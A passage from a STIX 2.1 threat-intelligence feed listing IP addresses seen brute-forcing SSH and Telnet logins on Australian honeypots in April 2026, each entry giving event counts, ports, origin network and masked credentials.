      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--9137ed1b-5a3f-4d64-930a-f935d9e1abfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.243.10.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T15:15:11.000Z",
      "valid_until": "2026-05-24T15:15:08.000Z"
    },
    {
      "created": "2026-04-22T16:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45916. Organisation(s): Gujarat Telelink Pvt Ltd. Usernames observed (masked): r**t, d****y, f****e, u**r, 3**********4. Passwords observed (masked): 1****6, a*******4, 1**4, 1******a, 1******@.",
      "id": "indicator--fe5c6e02-5cf8-46c9-a7a4-3d31b48cb063",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.241.45.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T16:15:07.000Z",
      "valid_until": "2026-05-24T16:15:05.000Z"
    },
    {
      "created": "2026-04-22T16:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): f********r. Passwords observed (masked): f********r.",
      "id": "indicator--2cd37975-c6ab-4753-8f99-17c5a7d86be6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.63.25.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T16:15:07.000Z",
      "valid_until": "2026-05-24T16:15:05.000Z"
    },
    {
      "created": "2026-04-22T16:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ec95df02-e300-4807-9b46-1a193b29af03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '140.235.83.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T16:15:07.000Z",
      "valid_until": "2026-05-24T16:15:05.000Z"
    },
    {
      "created": "2026-04-22T16:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u**r. Passwords observed (masked): u****5.",
      "id": "indicator--b1853fa0-49bf-4b43-9f9a-19aaef62cb3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.101.216.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T16:15:07.000Z",
      "valid_until": "2026-05-24T16:15:05.000Z"
    },
    {
      "created": "2026-04-22T16:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45458. Organisation(s): SBN-ISPAWN-ISP and SBN-NIXAWN-NIX. Usernames observed (masked): u****u. Passwords observed (masked): U******2.",
      "id": "indicator--74d69d76-7796-49b6-b510-4f820867d383",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.229.72.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T16:15:07.000Z",
      "valid_until": "2026-05-24T16:15:05.000Z"
    },
    {
      "created": "2026-04-22T16:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--d71f00b6-fcd2-4e73-94a8-d25b1a3d506e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '88.225.217.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T16:15:07.000Z",
      "valid_until": "2026-05-24T16:15:05.000Z"
    },
    {
      "created": "2026-04-22T16:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 191. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, t**t, 3**********4, f******r, f********r. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, 6**6.",
      "id": "indicator--e19d8013-0e33-40a9-bd06-a5b9a2fa7050",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '98.70.48.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T16:15:07.000Z",
      "valid_until": "2026-05-24T16:15:05.000Z"
    },
    {
      "created": "2026-04-22T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--18ed036d-9f53-4f1a-862c-976ec8d293e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.12.56.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T17:15:24.000Z",
      "valid_until": "2026-05-24T17:15:02.000Z"
    },
    {
      "created": "2026-04-22T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): u****u.",
      "id": "indicator--b3ba011d-6222-4474-88cb-48281d4061a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.18.241.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T17:15:24.000Z",
      "valid_until": "2026-05-24T17:15:02.000Z"
    },
    {
      "created": "2026-04-22T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 24444. Organisation(s): Shandong Mobile Communication Company Limited.",
      "id": "indicator--94599321-c3b7-481d-b792-0369962185b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.201.184.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T17:15:24.000Z",
      "valid_until": "2026-05-24T17:15:02.000Z"
    },
    {
      "created": "2026-04-22T17:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--36c29e4e-043b-474f-af0d-897fb3c149ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.174.65.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T17:15:24.000Z",
      "valid_until": "2026-05-24T17:15:02.000Z"
    },
    {
      "created": "2026-04-22T17:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): 7**********v.",
      "id": "indicator--800b6ace-65e7-4a8e-a590-84b85838434b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T17:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.35.165.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T17:15:24.000Z",
      "valid_until": "2026-05-24T17:15:02.000Z"
    },
    {
      "created": "2026-04-22T18:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--9b8f17b7-2abb-460b-a567-ba0d2699ec8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T18:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.109.176.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:15:43.000Z",
      "valid_until": "2026-05-24T18:15:02.000Z"
    },
    {
      "created": "2026-04-22T18:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--bd8cd90d-dc4e-4d18-a798-10245d78b064",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T18:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.157.79.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:15:43.000Z",
      "valid_until": "2026-05-24T18:15:02.000Z"
    },
    {
      "created": "2026-04-22T18:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 199884. Organisation(s): Racktech Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--438802b7-87e9-4c1f-a788-d48c92c9c669",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T18:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.49.185.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:15:43.000Z",
      "valid_until": "2026-05-24T18:15:02.000Z"
    },
    {
      "created": "2026-04-22T18:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 213438. Organisation(s): ColocaTel Inc.. Usernames observed (masked): a***********r, r**t. Passwords observed (masked): 1*******9, a***********r.",
      "id": "indicator--bc4f5b24-6816-4972-adfa-239e54c3b124",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T18:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.142.146.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:15:43.000Z",
      "valid_until": "2026-05-24T18:15:02.000Z"
    },
    {
      "created": "2026-04-22T18:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--adde9755-1672-4bb1-bacd-c5d1969505ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T18:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:15:43.000Z",
      "valid_until": "2026-05-24T18:15:02.000Z"
    },
    {
      "created": "2026-04-22T18:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 526. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, d*******r, m*****r, t**t. Passwords observed (masked): 1**4, 1****6, a***n, a******3, p******d.",
      "id": "indicator--f362e7e2-9725-4c6c-8093-5193f5f98cc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T18:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.1.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:15:43.000Z",
      "valid_until": "2026-05-24T18:15:02.000Z"
    },
    {
      "created": "2026-04-22T18:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 487. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, s*****t, t**t, u**r. Passwords observed (masked): a***n, 1***5, 1****6, 1******8, p******d.",
      "id": "indicator--07406fea-7ef2-4ec0-bc58-e7bb746e6c3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T18:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.6.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:15:43.000Z",
      "valid_until": "2026-05-24T18:15:02.000Z"
    },
    {
      "created": "2026-04-22T18:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, o**o, u****u, 3**********4, a*****r. Passwords observed (masked): *, 1********., 1******x, 3***********4, 3**********4.",
      "id": "indicator--7b31ed2f-9ab7-4a87-b3af-338f5f69f37c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T18:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.106.69.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T18:15:43.000Z",
      "valid_until": "2026-05-24T18:15:02.000Z"
    },
    {
      "created": "2026-04-22T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , A**************************************************************6, G************1, b*****************************************'. Passwords observed (masked): , H**********************3, U*********************************************************************************************************************************************0, g************************0.",
      "id": "indicator--95046880-1087-4063-b129-2d69456930cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.193.61.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T19:15:04.000Z",
      "valid_until": "2026-05-24T19:15:02.000Z"
    },
    {
      "created": "2026-04-22T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 15169. Organisation(s): Google LLC.",
      "id": "indicator--288e9699-7ee2-415f-aaf9-9b850e2ce191",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.216.201.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T19:15:04.000Z",
      "valid_until": "2026-05-24T19:15:02.000Z"
    },
    {
      "created": "2026-04-22T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20473. Organisation(s): The Constant Company, LLC. Usernames observed (masked): G*****************1, U****************************1. Passwords observed (masked): A*******************p, H**********************3.",
      "id": "indicator--96c48b5b-2863-4488-9630-df2cef3554f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.63.71.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T19:15:04.000Z",
      "valid_until": "2026-05-24T19:15:02.000Z"
    },
    {
      "created": "2026-04-22T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--4cb2c3e1-4daf-4f88-904b-0ada2682e50a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.150.97.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T19:15:04.000Z",
      "valid_until": "2026-05-24T19:15:02.000Z"
    },
    {
      "created": "2026-04-22T20:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--29b0ef2e-e585-451e-8ec7-5e5937598405",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.26.86.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:15:09.000Z",
      "valid_until": "2026-05-24T20:15:02.000Z"
    },
    {
      "created": "2026-04-22T20:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e7d39e25-f8c3-423c-8b98-09e40647db29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '137.184.105.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:15:09.000Z",
      "valid_until": "2026-05-24T20:15:02.000Z"
    },
    {
      "created": "2026-04-22T20:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49981. Organisation(s): WorldStream B.V.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--2fb91889-3166-4cff-a151-11b376e59a9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.2.135.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:15:09.000Z",
      "valid_until": "2026-05-24T20:15:02.000Z"
    },
    {
      "created": "2026-04-22T20:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--2041d361-1b4b-4ff9-966a-c07df07ead63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:15:09.000Z",
      "valid_until": "2026-05-24T20:15:02.000Z"
    },
    {
      "created": "2026-04-22T20:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--84bcfe62-d01e-4ae8-8e7c-a3d86eb69727",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.82.13.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:15:09.000Z",
      "valid_until": "2026-05-24T20:15:02.000Z"
    },
    {
      "created": "2026-04-22T20:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 425. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t, h****p, u**r, u***1, a***n. Passwords observed (masked): 1****6, ***, p******d, !******X, *.",
      "id": "indicator--de840635-86ec-4587-b5df-6fc8d3226076",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.76.49.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:15:09.000Z",
      "valid_until": "2026-05-24T20:15:02.000Z"
    },
    {
      "created": "2026-04-22T20:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--9c414447-6f31-4430-b0c5-d2560f221bab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:15:09.000Z",
      "valid_until": "2026-05-24T20:15:02.000Z"
    },
    {
      "created": "2026-04-22T20:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange. Usernames observed (masked): r**t, a***n, d*****t, t**h. Passwords observed (masked): 1***5, 7**********v, W******$, a****q, t**h.",
      "id": "indicator--32775024-a17e-4245-aaa7-d6bc9d89dacf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T20:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.9.201.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:15:09.000Z",
      "valid_until": "2026-05-24T20:15:02.000Z"
    },
    {
      "created": "2026-04-22T21:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--5625de94-d609-4abe-968b-95f800a573da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.91.223.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T21:15:03.000Z",
      "valid_until": "2026-05-24T21:15:01.000Z"
    },
    {
      "created": "2026-04-22T21:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--453869d2-5e5c-46c9-97b6-0e922868e952",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.151.189.60']",
      "pattern_type": "stix",
